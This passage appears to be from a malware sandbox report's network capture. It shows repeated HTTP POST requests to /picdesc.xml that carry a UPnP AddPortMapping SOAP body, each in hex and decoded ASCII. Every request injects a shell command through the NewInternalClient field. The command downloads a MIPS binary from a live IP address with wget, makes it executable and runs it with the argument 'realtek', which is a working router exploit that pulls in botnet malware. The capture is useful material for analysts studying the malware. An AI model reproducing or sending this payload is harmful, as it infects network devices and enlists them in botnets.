69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:16.854842901 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      139192.168.2.153774645.192.195.21152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:30.114028931 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.992111921 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:34.360054016 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:38.967864990 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:47.927619934 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:06.615108967 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
